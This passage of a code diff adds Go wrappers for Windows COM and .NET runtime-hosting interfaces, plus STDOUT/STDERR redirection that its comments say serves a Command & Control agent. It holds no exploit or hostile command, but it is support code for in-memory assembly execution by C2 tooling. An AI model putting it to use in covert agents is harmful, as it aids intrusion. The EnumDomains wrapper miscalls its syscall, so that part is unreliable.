||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
// HRESULT EnumDomains (
|
||||
// [out] HCORENUM *hEnum
|
||||
// );
|
||||
func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
|
||||
debugPrint("Enterin into icorruntimehost.EnumDomains()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumDomains,
|
||||
(uintptr(unsafe.Pointer(hEnum))),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type IEnumUnknown struct {
|
||||
vtbl *IEnumUnknownVtbl
|
||||
}
|
||||
|
||||
// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
|
||||
// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
|
||||
type IEnumUnknownVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Next Retrieves the specified number of items in the enumeration sequence.
|
||||
Next uintptr
|
||||
// Skip Skips over the specified number of items in the enumeration sequence.
|
||||
Skip uintptr
|
||||
// Reset Resets the enumeration sequence to the beginning.
|
||||
Reset uintptr
|
||||
// Clone Creates a new enumerator that contains the same enumeration state as the current one.
|
||||
Clone uintptr
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Next retrieves the specified number of items in the enumeration sequence.
|
||||
// HRESULT Next(
|
||||
// ULONG celt,
|
||||
// IUnknown **rgelt,
|
||||
// ULONG *pceltFetched
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
|
||||
func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
|
||||
debugPrint("Entering into ienumunknown.Next()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Next,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(celt),
|
||||
uintptr(pEnumRuntime),
|
||||
uintptr(unsafe.Pointer(pceltFetched)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK && hr != S_FALSE {
|
||||
err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
hresult = int(hr)
|
||||
return
|
||||
}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IErrorInfo struct {
|
||||
vtbl *IErrorInfoVtbl
|
||||
}
|
||||
|
||||
// IErrorInfoVtbl returns information about an error in addition to the return code.
|
||||
// It returns the error message, name of the component and GUID of the interface in
|
||||
// which the error occurred, and the name and topic of the Help file that applies to the error.
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
|
||||
type IErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// GetDescription Returns a text description of the error
|
||||
GetDescription uintptr
|
||||
// GetGUID Returns the GUID of the interface that defined the error.
|
||||
GetGUID uintptr
|
||||
// GetHelpContext Returns the Help context ID for the error.
|
||||
GetHelpContext uintptr
|
||||
// GetHelpFile Returns the path of the Help file that describes the error.
|
||||
GetHelpFile uintptr
|
||||
// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
|
||||
GetSource uintptr
|
||||
}
|
||||
|
||||
// GetDescription Returns a text description of the error.
|
||||
// HRESULT GetDescription (
|
||||
// BSTR *pbstrDescription);
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
|
||||
func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetDescription()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDescription,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbstrDescription)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
|
||||
// HRESULT GetGUID(
|
||||
// GUID *pGUID
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
|
||||
func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetGUID()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetGUID,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pGUID)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
|
||||
// HRESULT GetErrorInfo(
|
||||
// ULONG dwReserved,
|
||||
// IErrorInfo **pperrinfo
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
|
||||
func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
|
||||
modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
|
||||
hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// origSTDOUT is a Windows Handle to the program's original STDOUT
|
||||
var origSTDOUT = windows.Stdout
|
||||
|
||||
// origSTDERR is a Windows Handle to the program's original STDERR
|
||||
var origSTDERR = windows.Stderr
|
||||
|
||||
// rSTDOUT is an io.Reader for STDOUT
|
||||
var rSTDOUT *os.File
|
||||
|
||||
// wSTDOUT is an io.Writer for STDOUT
|
||||
var wSTDOUT *os.File
|
||||
|
||||
// rSTDERR is an io.Reader for STDERR
|
||||
var rSTDERR *os.File
|
||||
|
||||
// wSTDERR is an io.Writer for STDERR
|
||||
var wSTDERR *os.File
|
||||
|
||||
// Stdout is a buffer to collect anything written to STDOUT
|
||||
// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
|
||||
// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
|
||||
// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
|
||||
// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
|
||||
var Stdout bytes.Buffer
|
||||
|
||||
// Stderr is a buffer to collect anything written to STDERR
|
||||
var Stderr bytes.Buffer
|
||||
|
||||
// errors is used to capture an errors from a goroutine
|
||||
var errors = make(chan error)
|
||||
|
||||
// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
|
||||
var mutex = &sync.Mutex{}
|
||||
|
||||
// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
|
||||
// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
|
||||
// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
|
||||
func RedirectStdoutStderr() (err error) {
|
||||
// Create a new reader and writer for STDOUT
|
||||
rSTDOUT, wSTDOUT, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Createa new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Start STDOUT/STDERR buffer and collection
|
||||
go BufferStdout()
|
||||
go BufferStderr()
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
|
||||
// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
|
||||
// using the restored handles
|
||||
func RestoreStdoutStderr() error {
|
||||
if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
|
||||
}
|
||||
if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
|
||||
// Only use when RedirectStdoutStderr was previously called
|
||||
func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
debugPrint("Entering into io.ReadStdoutStderr()...")
|
||||
|
||||
// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
|
||||
// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
|
||||
// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
|
||||
// returned because parent program is perpetually running
|
||||
time.Sleep(1 * time.Microsecond)
|
||||
|
||||
// Check the error channel to see if any of the goroutines generated an error
|
||||
if len(errors) > 0 {
|
||||
var totalErrors string
|
||||
for e := range errors {
|
||||
totalErrors += e.Error()
|
||||
}
|
||||
err = fmt.Errorf(totalErrors)
|
||||
return
|
||||
}
|
||||
|
||||
// Read STDOUT Buffer
|
||||
if Stdout.Len() > 0 {
|
||||
stdout = Stdout.String()
|
||||
Stdout.Reset()
|
||||
}
|
||||
|
||||
// Read STDERR Buffer
|
||||
if Stderr.Len() > 0 {
|
||||
stderr = Stderr.String()
|
||||
Stderr.Reset()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = rSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStdout() {
|
||||
debugPrint("Entering into io.BufferStdout()...")
|
||||
stdoutReader := bufio.NewReader(rSTDOUT)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stdoutReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stdout.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStderr() {
|
||||
debugPrint("Entering into io.BufferStderr()...")
|
||||
stderrReader := bufio.NewReader(rSTDERR)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stderrReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stderr.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
|
||||
// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
type ISupportErrorInfo struct {
|
||||
vtbl *ISupportErrorInfoVtbl
|
||||
}
|
||||
|
||||
type ISupportErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
InterfaceSupportsErrorInfo uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// InterfaceSupportsErrorInfo
|
||||
// HRESULT InterfaceSupportsErrorInfo(
|
||||
// REFIID riid
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
|
||||
debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.InterfaceSupportsErrorInfo,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *IUnknownVtbl
|
||||
}
|
||||
|
||||
// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
|
||||
// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
|
||||
// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
|
||||
// methods in IUnknown are the first entries in the vtable for every interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
|
||||
type IUnknownVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *IUnknown) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *IUnknown) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
+207
@@ -0,0 +1,207 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type MethodInfo struct {
|
||||
vtbl *MethodInfoVtbl
|
||||
}
|
||||
|
||||
// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
|
||||
// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
|
||||
// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
|
||||
// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
|
||||
// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
|
||||
// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
|
||||
type MethodInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_MemberType uintptr
|
||||
get_name uintptr
|
||||
get_DeclaringType uintptr
|
||||
get_ReflectedType uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetParameters uintptr
|
||||
GetMethodImplementationFlags uintptr
|
||||
get_MethodHandle uintptr
|
||||
get_Attributes uintptr
|
||||
get_CallingConvention uintptr
|
||||
Invoke_2 uintptr
|
||||
get_IsPublic uintptr
|
||||
get_IsPrivate uintptr
|
||||
get_IsFamily uintptr
|
||||
get_IsAssembly uintptr
|
||||
get_IsFamilyAndAssembly uintptr
|
||||
get_IsFamilyOrAssembly uintptr
|
||||
get_IsStatic uintptr
|
||||
get_IsFinal uintptr
|
||||
get_IsVirtual uintptr
|
||||
get_IsHideBySig uintptr
|
||||
get_IsAbstract uintptr
|
||||
get_IsSpecialName uintptr
|
||||
get_IsConstructor uintptr
|
||||
Invoke_3 uintptr
|
||||
get_returnType uintptr
|
||||
get_ReturnTypeCustomAttributes uintptr
|
||||
GetBaseDefinition uintptr
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into methodinfo.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
|
||||
// virtual HRESULT __stdcall Invoke_3 (
|
||||
// /*[in]*/ VARIANT obj,
|
||||
// /*[in]*/ SAFEARRAY * parameters,
|
||||
